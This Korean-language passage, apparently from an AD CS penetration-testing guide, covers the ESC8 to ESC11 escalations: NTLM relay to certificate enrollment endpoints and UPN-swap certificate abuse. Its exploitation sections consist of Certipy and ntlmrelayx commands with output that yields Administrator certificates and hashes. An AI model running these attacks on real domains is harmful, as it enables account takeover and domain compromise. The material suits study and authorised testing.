  1. ๊ฒฐ๊ณผ ์ธ์ฆ์„œ๋Š” ์ด์ œ ์•…์˜์ ์ธ issuance-policy OID๋ฅผ ํฌํ•จํ•˜๋ฉฐ ์ดํ›„ ๊ณต๊ฒฉ(์˜ˆ: ESC13, ๋„๋ฉ”์ธ ๊ถŒํ•œ ์ƒ์Šน ๋“ฑ)์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

NOTE: The same attack can be executed with Certipy โ‰ฅ 4.7 through the ca command and the -set-extension parameter.

NTLM Relay to AD CS HTTP Endpoints โ€“ ESC8

์„ค๋ช…

Tip

AD CS๊ฐ€ ์„ค์น˜๋œ ํ™˜๊ฒฝ์—์„œ, ์ทจ์•ฝํ•œ web enrollment endpoint๊ฐ€ ์กด์žฌํ•˜๊ณ  ์ตœ์†Œ ํ•˜๋‚˜์˜ domain computer enrollment ๋ฐ client authentication์„ ํ—ˆ์šฉํ•˜๋Š” certificate template(์˜ˆ: ๊ธฐ๋ณธ Machine ํ…œํ”Œ๋ฆฟ)์ด ๊ฒŒ์‹œ๋˜์–ด ์žˆ๋‹ค๋ฉด, spooler service๊ฐ€ ํ™œ์„ฑํ™”๋œ ์–ด๋–ค ์ปดํ“จํ„ฐ๋“  ๊ณต๊ฒฉ์ž์— ์˜ํ•ด ์นจํ•ด๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!

AD CS๋Š” ๊ด€๋ฆฌ์ž๊ฐ€ ์ถ”๊ฐ€๋กœ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋ฒ„ ์—ญํ• ์„ ํ†ตํ•ด ์—ฌ๋Ÿฌ HTTP ๊ธฐ๋ฐ˜ enrollment ๋ฐฉ์‹์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ HTTP ๊ธฐ๋ฐ˜ ์ธ์ฆ์„œ ๋“ฑ๋ก ์ธํ„ฐํŽ˜์ด์Šค๋Š” NTLM relay ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์นจํ•ด๋œ ๋จธ์‹ ์œผ๋กœ๋ถ€ํ„ฐ, ์ธ๋ฐ”์šด๋“œ NTLM์„ ํ†ตํ•ด ์ธ์ฆํ•˜๋Š” ์ž„์˜์˜ AD ๊ณ„์ •์„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ”ผํ•ด์ž ๊ณ„์ •์„ ๊ฐ€์žฅํ•œ ์ƒํƒœ์—์„œ, ๊ณต๊ฒฉ์ž๋Š” ์ด๋Ÿฌํ•œ ์›น ์ธํ„ฐํŽ˜์ด์Šค์— ์ ‘๊ทผํ•ด User ๋˜๋Š” Machine ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•ด client authentication ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • web enrollment interface(๊ตฌํ˜• ASP ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, http://<caserver>/certsrv/์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅ)๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ HTTP๋งŒ ์‚ฌ์šฉํ•˜๋ฉฐ NTLM relay ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๋ณดํ˜ธ๋ฅผ ์ œ๊ณตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ Authorization HTTP header๋ฅผ ํ†ตํ•ด ๋ช…์‹œ์ ์œผ๋กœ NTLM ์ธ์ฆ๋งŒ ํ—ˆ์šฉํ•˜๋ฏ€๋กœ Kerberos์™€ ๊ฐ™์€ ๋” ์•ˆ์ „ํ•œ ์ธ์ฆ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
  • Certificate Enrollment Service(CES), Certificate Enrollment Policy(CEP) Web Service, ๋ฐ Network Device Enrollment Service(NDES)๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ Authorization HTTP header๋ฅผ ํ†ตํ•ด negotiate ์ธ์ฆ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. Negotiate ์ธ์ฆ์€ Kerberos์™€ NTLM ๋‘˜ ๋‹ค ์ง€์›ํ•˜๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๋Š” relay ๊ณต๊ฒฉ ์ค‘์— NTLM์œผ๋กœ ๊ฐ•๋“ฑ(downgrade) ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋“ค ์›น ์„œ๋น„์Šค๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ HTTPS๋ฅผ ํ™œ์„ฑํ™”ํ•˜์ง€๋งŒ, HTTPS๋งŒ์œผ๋กœ๋Š” NTLM relay ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. HTTPS ์„œ๋น„์Šค์— ๋Œ€ํ•œ NTLM relay ๊ณต๊ฒฉ ๋ฐฉ์ง€๋Š” ์ฑ„๋„ ๋ฐ”์ธ๋”ฉ(channel binding)๊ณผ ๊ฒฐํ•ฉ๋œ HTTPS์ผ ๋•Œ๋งŒ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์•ˆํƒ€๊น๊ฒŒ๋„ AD CS๋Š” IIS์—์„œ Extended Protection for Authentication์„ ํ™œ์„ฑํ™”ํ•˜์ง€ ์•Š์œผ๋ฉฐ, ์ด๋Š” ์ฑ„๋„ ๋ฐ”์ธ๋”ฉ์„ ์œ„ํ•ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

NTLM relay ๊ณต๊ฒฉ์˜ ์ผ๋ฐ˜์ ์ธ ๋ฌธ์ œ๋Š” NTLM ์„ธ์…˜์˜ ์งง์€ ์ง€์† ์‹œ๊ฐ„๊ณผ ๊ณต๊ฒฉ์ž๊ฐ€ NTLM signing์„ ์š”๊ตฌํ•˜๋Š” ์„œ๋น„์Šค์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์—†์Œ์ž…๋‹ˆ๋‹ค.

๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , ์ด ์ œํ•œ์€ NTLM relay ๊ณต๊ฒฉ์„ ์ด์šฉํ•ด ์‚ฌ์šฉ์ž์˜ ์ธ์ฆ์„œ๋ฅผ ํš๋“ํ•จ์œผ๋กœ์จ ๊ทน๋ณต๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ธ์ฆ์„œ์˜ ์œ ํšจ๊ธฐ๊ฐ„์ด ์„ธ์…˜์˜ ์ง€์† ์‹œ๊ฐ„์„ ๊ฒฐ์ •ํ•˜๊ณ , ํš๋“ํ•œ ์ธ์ฆ์„œ๋Š” NTLM signing์„ ์š”๊ตฌํ•˜๋Š” ์„œ๋น„์Šค์—๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ํƒˆ์ทจํ•œ ์ธ์ฆ์„œ ์‚ฌ์šฉ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

AD CS Account Persistence

NTLM relay ๊ณต๊ฒฉ์˜ ๋˜ ๋‹ค๋ฅธ ์ œํ•œ์€ ๊ณต๊ฒฉ์ž ์ œ์–ด ๋จธ์‹ ์ด ํ”ผํ•ด์ž ๊ณ„์ •์— ์˜ํ•ด ์ธ์ฆ๋˜์–ด์•ผ ํ•œ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๊ธฐ๋‹ค๋ฆฌ๊ฑฐ๋‚˜ ์ด ์ธ์ฆ์„ ๊ฐ•์ œ๋กœ ์œ ๋ฐœํ•˜๋ ค ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Force NTLM Privileged Authentication

์•…์šฉ

Certifyโ€™s cas๋Š” ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ HTTP AD CS ์—”๋“œํฌ์ธํŠธ๋“ค์„ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค:

Certify.exe cas

msPKI-Enrollment-Servers ์†์„ฑ์€ ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ Certificate Authorities (CAs)๊ฐ€ Certificate Enrollment Service (CES) ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ €์žฅํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์—”๋“œํฌ์ธํŠธ๋Š” ๋„๊ตฌ Certutil.exe๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์‹ฑํ•˜๊ณ  ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```bash Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

Certify๋กœ ์•…์šฉ

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Certipy๋ฅผ ์ด์šฉํ•œ ์•…์šฉ

์ธ์ฆ์„œ ์š”์ฒญ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ Certipy๊ฐ€ ํ…œํ”Œ๋ฆฟ Machine ๋˜๋Š” User๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ˆ˜ํ–‰ํ•˜๋ฉฐ, ์ „๋‹ฌ๋˜๋Š” ๊ณ„์ • ์ด๋ฆ„์ด $๋กœ ๋๋‚˜๋Š”์ง€ ์—ฌ๋ถ€์— ๋”ฐ๋ผ ๊ฒฐ์ •๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ํ…œํ”Œ๋ฆฟ์„ ์ง€์ •ํ•˜๋ ค๋ฉด -template ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ PetitPotam๊ณผ ๊ฐ™์€ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์ฆ์„ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ๋‹ค๋ฃฐ ๋•Œ๋Š” -template DomainController๋ฅผ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

๋ณด์•ˆ ํ™•์žฅ ์—†์Œ - ESC9

์„ค๋ช…

์ƒˆ ๊ฐ’ CT_FLAG_NO_SECURITY_EXTENSION (0x80000)์€ **msPKI-Enrollment-Flag**์— ๋Œ€ํ•ด ESC9๋กœ ๋ถˆ๋ฆฌ๋ฉฐ, ์ธ์ฆ์„œ์— ์ƒˆ szOID_NTDS_CA_SECURITY_EXT ๋ณด์•ˆ ํ™•์žฅ์„ ํฌํ•จํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”Œ๋ž˜๊ทธ๋Š” StrongCertificateBindingEnforcement๊ฐ€ 1(๊ธฐ๋ณธ๊ฐ’)๋กœ ์„ค์ •๋˜์–ด ์žˆ์„ ๋•Œ ๊ด€๋ จ์„ฑ์„ ๊ฐ€์ง€๋ฉฐ, 2๋กœ ์„ค์ •๋œ ๊ฒฝ์šฐ์™€๋Š” ๋Œ€์กฐ๋ฉ๋‹ˆ๋‹ค. ESC9๊ฐ€ ์—†๋”๋ผ๋„ ์š”๊ตฌ์‚ฌํ•ญ์ด ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๋Š” ์ƒํ™ฉ์—์„œ๋Š” Kerberos๋‚˜ Schannel์— ๋Œ€ํ•œ ๋” ์•ฝํ•œ ์ธ์ฆ์„œ ๋งคํ•‘์ด ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค(ESC10์—์„œ์™€ ๊ฐ™์ด)์—์„œ ๊ทธ ๊ด€๋ จ์„ฑ์ด ์ปค์ง‘๋‹ˆ๋‹ค.

์ด ํ”Œ๋ž˜๊ทธ์˜ ์„ค์ •์ด ์ค‘์š”ํ•ด์ง€๋Š” ์กฐ๊ฑด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • StrongCertificateBindingEnforcement๊ฐ€ 2๋กœ ์กฐ์ •๋˜์ง€ ์•Š์•˜๊ฑฐ๋‚˜(๊ธฐ๋ณธ๊ฐ’์€ 1), ๋˜๋Š” CertificateMappingMethods์— UPN ํ”Œ๋ž˜๊ทธ๊ฐ€ ํฌํ•จ๋œ ๊ฒฝ์šฐ.
  • ์ธ์ฆ์„œ๊ฐ€ msPKI-Enrollment-Flag ์„ค์ • ๋‚ด์—์„œ CT_FLAG_NO_SECURITY_EXTENSION ํ”Œ๋ž˜๊ทธ๋กœ ํ‘œ์‹œ๋œ ๊ฒฝ์šฐ.
  • ์ธ์ฆ์„œ์— ์–ด๋–ค client authentication EKU๋ผ๋„ ์ง€์ •๋œ ๊ฒฝ์šฐ.
  • ๋‹ค๋ฅธ ๊ณ„์ •์„ ์นจํ•ดํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ค ๊ณ„์ •์— ๋Œ€ํ•ด GenericWrite ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ.

์•…์šฉ ์‹œ๋‚˜๋ฆฌ์˜ค

์˜ˆ๋ฅผ ๋“ค์–ด John@corp.local๊ฐ€ Jane@corp.local์— ๋Œ€ํ•ด GenericWrite ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ณ  ๋ชฉํ‘œ๊ฐ€ Administrator@corp.local๋ฅผ ์นจํ•ดํ•˜๋Š” ๊ฒƒ์ด๋ผ๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค. Jane@corp.local์ด ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉ๋œ ESC9 ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์€ msPKI-Enrollment-Flag ์„ค์ •์—์„œ CT_FLAG_NO_SECURITY_EXTENSION ํ”Œ๋ž˜๊ทธ๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ดˆ๊ธฐ์—, Jane์˜ ํ•ด์‹œ๋Š” John์˜ GenericWrite ๋•๋ถ„์— Shadow Credentials๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํš๋“๋ฉ๋‹ˆ๋‹ค:

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

์ดํ›„, Jane์˜ userPrincipalName์ด ์˜๋„์ ์œผ๋กœ @corp.local ๋„๋ฉ”์ธ ๋ถ€๋ถ„์„ ์ƒ๋žตํ•œ ์ฑ„ Administrator๋กœ ์ˆ˜์ •๋ฉ๋‹ˆ๋‹ค:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

์ด ๋ณ€๊ฒฝ์€ Administrator@corp.local๊ฐ€ Administrator์˜ userPrincipalName๋กœ์„œ ๊ตฌ๋ถ„๋œ ์ƒํƒœ๋กœ ์œ ์ง€๋˜๋ฏ€๋กœ ์ œ์•ฝ์„ ์œ„๋ฐ˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ดํ›„, ์ทจ์•ฝํ•œ ๊ฒƒ์œผ๋กœ ํ‘œ์‹œ๋œ ESC9 ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ์ด Jane๋กœ ์š”์ฒญ๋ฉ๋‹ˆ๋‹ค:

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

์ธ์ฆ์„œ์˜ userPrincipalName์ด Administrator๋กœ ๋‚˜ํƒ€๋‚˜๋ฉฐ, โ€œobject SIDโ€๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.

Jane์˜ userPrincipalName์€ ์ดํ›„ ์›๋ž˜ ๊ฐ’์ธ Jane@corp.local๋กœ ๋ณต์›๋ฉ๋‹ˆ๋‹ค:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

๋ฐœ๊ธ‰๋œ ์ธ์ฆ์„œ๋กœ ์ธ์ฆ์„ ์‹œ๋„ํ•˜๋ฉด ์ด์ œ Administrator@corp.local์˜ NT ํ•ด์‹œ๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค. ์ธ์ฆ์„œ์— ๋„๋ฉ”์ธ ๋ช…์‹œ๊ฐ€ ์—†์œผ๋ฏ€๋กœ ๋ช…๋ น์—๋Š” -domain <domain>์„ ํฌํ•จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

certipy auth -pfx adminitrator.pfx -domain corp.local

Weak Certificate Mappings - ESC10

์„ค๋ช…

ESC10์€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ ๋‘ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค ๊ฐ’์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค:

  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel ์•„๋ž˜์˜ CertificateMappingMethods ๊ธฐ๋ณธ๊ฐ’์€ 0x18 (0x8 | 0x10)์ด๋ฉฐ, ์ด์ „์—๋Š” 0x1F๋กœ ์„ค์ •๋˜์–ด ์žˆ์—ˆ๋‹ค.
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc ์•„๋ž˜์˜ StrongCertificateBindingEnforcement ๊ธฐ๋ณธ ์„ค์ •์€ 1์ด๋ฉฐ, ์ด์ „์—๋Š” 0์ด์—ˆ๋‹ค.

์‚ฌ๋ก€ 1

StrongCertificateBindingEnforcement๊ฐ€ 0์œผ๋กœ ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ.

์‚ฌ๋ก€ 2

CertificateMappingMethods์— UPN ๋น„ํŠธ(0x4)๊ฐ€ ํฌํ•จ๋œ ๊ฒฝ์šฐ.

์•…์šฉ ์‚ฌ๋ก€ 1

StrongCertificateBindingEnforcement๊ฐ€ 0์œผ๋กœ ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ, GenericWrite ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๊ณ„์ • A๋ฅผ ์ด์šฉํ•ด ์ž„์˜์˜ ๊ณ„์ • B๋ฅผ ์นจํ•ดํ•  ์ˆ˜ ์žˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ๊ณต๊ฒฉ์ž๊ฐ€ Jane@corp.local์— ๋Œ€ํ•ด GenericWrite ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ณ  Administrator@corp.local๋ฅผ ์นจํ•ดํ•˜๋ ค๊ณ  ํ•œ๋‹ค๊ณ  ํ•˜์ž. ์ด ์ ˆ์ฐจ๋Š” ESC9๊ณผ ๋™์ผํ•˜๊ฒŒ ์ง„ํ–‰๋˜๋ฉฐ, ์–ด๋–ค ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

์ดˆ๊ธฐ์—, GenericWrite๋ฅผ ์•…์šฉํ•˜์—ฌ Shadow Credentials๋ฅผ ์‚ฌ์šฉํ•ด Jane์˜ ํ•ด์‹œ๋ฅผ ํš๋“ํ•œ๋‹ค.

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

๊ทธ ํ›„, Jane์˜ userPrincipalName์€ ์ œ์•ฝ ์œ„๋ฐ˜์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์˜๋„์ ์œผ๋กœ @corp.local ๋ถ€๋ถ„์„ ์ƒ๋žตํ•˜๊ณ  Administrator๋กœ ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

์ด์–ด์„œ, ๊ธฐ๋ณธ User ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•˜์—ฌ ํด๋ผ์ด์–ธํŠธ ์ธ์ฆ์„ ํ—ˆ์šฉํ•˜๋Š” ์ธ์ฆ์„œ๊ฐ€ Jane์œผ๋กœ ์š”์ฒญ๋ฉ๋‹ˆ๋‹ค.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane์˜ userPrincipalName์€ ๊ทธ๋Ÿฐ ๋‹ค์Œ ์›๋ž˜ ๊ฐ’์ธ Jane@corp.local๋กœ ๋˜๋Œ๋ ค์ง‘๋‹ˆ๋‹ค.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

ํš๋“ํ•œ ์ธ์ฆ์„œ๋กœ ์ธ์ฆํ•˜๋ฉด Administrator@corp.local์˜ NT hash๋ฅผ ์–ป์œผ๋ฏ€๋กœ, ์ธ์ฆ์„œ์— ๋„๋ฉ”์ธ ์ •๋ณด๊ฐ€ ์—†์–ด ๋ช…๋ น์—์„œ ๋„๋ฉ”์ธ์„ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

certipy auth -pfx administrator.pfx -domain corp.local

์•…์šฉ ์‚ฌ๋ก€ 2

CertificateMappingMethods๊ฐ€ UPN ๋น„ํŠธ ํ”Œ๋ž˜๊ทธ(0x4)๋ฅผ ํฌํ•จํ•˜๋Š” ๊ฒฝ์šฐ, GenericWrite ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๊ณ„์ • A๋Š” userPrincipalName ์†์„ฑ์ด ์—†๋Š” ๊ณ„์ • B(๋จธ์‹  ๊ณ„์ • ๋ฐ ๋‚ด์žฅ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž Administrator ํฌํ•จ)๋ฅผ ์†์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ๋Š” ๋ชฉํ‘œ๊ฐ€ DC$@corp.local์„ ์†์ƒ์‹œํ‚ค๋Š” ๊ฒƒ์ด๋ฉฐ, GenericWrite๋ฅผ ํ™œ์šฉํ•ด Shadow Credentials๋ฅผ ํ†ตํ•ด Jane์˜ ํ•ด์‹œ๋ฅผ ์–ป๋Š” ๊ฒƒ์—์„œ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

๊ทธ๋Ÿฐ ๋‹ค์Œ Jane์˜ userPrincipalName์€ DC$@corp.local๋กœ ์„ค์ •๋ฉ๋‹ˆ๋‹ค.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

๊ธฐ๋ณธ User ํ…œํ”Œ๋ฆฟ์„ ์‚ฌ์šฉํ•ด ํด๋ผ์ด์–ธํŠธ ์ธ์ฆ์šฉ ์ธ์ฆ์„œ๋ฅผ Jane์œผ๋กœ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

Jane์˜ userPrincipalName์€ ์ด ํ”„๋กœ์„ธ์Šค ํ›„ ์›๋ž˜ ๊ฐ’์œผ๋กœ ๋˜๋Œ์•„๊ฐ‘๋‹ˆ๋‹ค.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

Schannel์„ ํ†ตํ•ด ์ธ์ฆํ•˜๊ธฐ ์œ„ํ•ด Certipy์˜ -ldap-shell ์˜ต์…˜์ด ์‚ฌ์šฉ๋˜๋ฉฐ, ์ธ์ฆ ์„ฑ๊ณต์€ u:CORP\DC$๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

LDAP shell์„ ํ†ตํ•ด set_rbcd ๊ฐ™์€ ๋ช…๋ น์œผ๋กœ Resource-Based Constrained Delegation (RBCD) ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋ฉด ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๊ฐ€ ์†์ƒ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

์ด ์ทจ์•ฝ์ ์€ userPrincipalName์ด ์—†๊ฑฐ๋‚˜ sAMAccountName๊ณผ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž ๊ณ„์ •์—๋„ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ userPrincipalName์ด ์„ค์ •๋˜์–ด ์žˆ์ง€ ์•Š๊ณ  LDAP ๊ถŒํ•œ์ด ๋†’์€ ๊ธฐ๋ณธ ๊ณ„์ •์ธ Administrator@corp.local๊ฐ€ ์ฃผ์š” ๊ณต๊ฒฉ ๋Œ€์ƒ์ž…๋‹ˆ๋‹ค.

Relaying NTLM to ICPR - ESC11

์„ค๋ช…

CA Server๊ฐ€ IF_ENFORCEENCRYPTICERTREQUEST๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด RPC ์„œ๋น„์Šค๋ฅผ ํ†ตํ•ด ์„œ๋ช… ์—†์ด NTLM relay ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. Reference in here.

certipy๋ฅผ ์‚ฌ์šฉํ•ด Enforce Encryption for Requests๊ฐ€ Disabled์ธ์ง€ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, certipy๋Š” ESC11 ์ทจ์•ฝ์ ์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

์•…์šฉ ์‹œ๋‚˜๋ฆฌ์˜ค

relay server๋ฅผ ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

์ฐธ๊ณ : ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ ๊ฒฝ์šฐ, DomainController์—์„œ -template์„ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋˜๋Š” sploutchyโ€™s fork of impacket :

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Shell access to ADCS CA with YubiHSM - ESC12

์„ค๋ช…

๊ด€๋ฆฌ์ž๋Š” Certificate Authority๋ฅผ โ€œYubico YubiHSM2โ€œ์™€ ๊ฐ™์€ ์™ธ๋ถ€ ์žฅ์น˜์— ์ €์žฅํ•˜๋„๋ก ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

